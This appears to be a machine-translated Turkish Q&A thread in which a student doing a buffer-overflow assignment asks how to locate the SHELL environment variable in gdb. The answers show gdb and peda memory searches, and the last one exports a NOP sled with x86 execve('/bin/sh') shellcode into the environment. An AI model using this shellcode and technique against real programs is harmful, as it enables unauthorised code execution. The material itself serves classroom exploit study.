Bir ödev için savunmasız bir C++ programında çok basit bir arabellek taşması kullanmak zorundayım ve Shell ortam değişkenini bulamıyorum.
Daha önce hiç BoF ile çalışmadım ve benzer birçok soru, gönderi vb.
environ
adlı genel bir değişkende saklarBu değişkenin adresini şöyle bulabilirsiniz:
(gdb) info variable environ
All variables matching regular expression "environ":
Non-debugging symbols:
0xb7fd1b00 __environ
0xb7fd1b00 _environ
0xb7fd1b00 environ
/bin/bash
dize bir Shell başlatmak için bu değişken (zaten sistem ve çıkış adresleri var, ben sadece Shell yol gerekir). Ve burada ne yapacağımı bilmiyorum. Ben gdb öğreticiler okudum, ama yine de hiçbir şey. x/s 0xb7fd1b00
yararlı bir şey vermez.
environ
, char **environ
türüne sahip olduğundan işaretçiye bir işaretçi.
Gibi bir şey denemek zorunda:
(gdb) x/s *((char **)environ)
0xbffff688: "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b: "Shell=/bin/bash"
(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"
gdb için peda yüklüyse, bunu gdb'ye yazabilirsiniz:
gdb-peda$ searchmem Shell
Çıktı gösterecektir
Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
Ayrıca gdb için peda yüklüyse sadece "refsearch değişken_adı" kullanabilirsiniz.
misal:
Her şeyden önce ortama değişken (Shellcode gibi bir şey) eklemelisiniz.
(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))
Sonra gdb'yi örnek program ile açın, ana komutu kesin ve çalıştırın.
Program kesme noktasında durakladığında, komutun ardından ortam adresini arayabilirsiniz.
refsearch Shellcode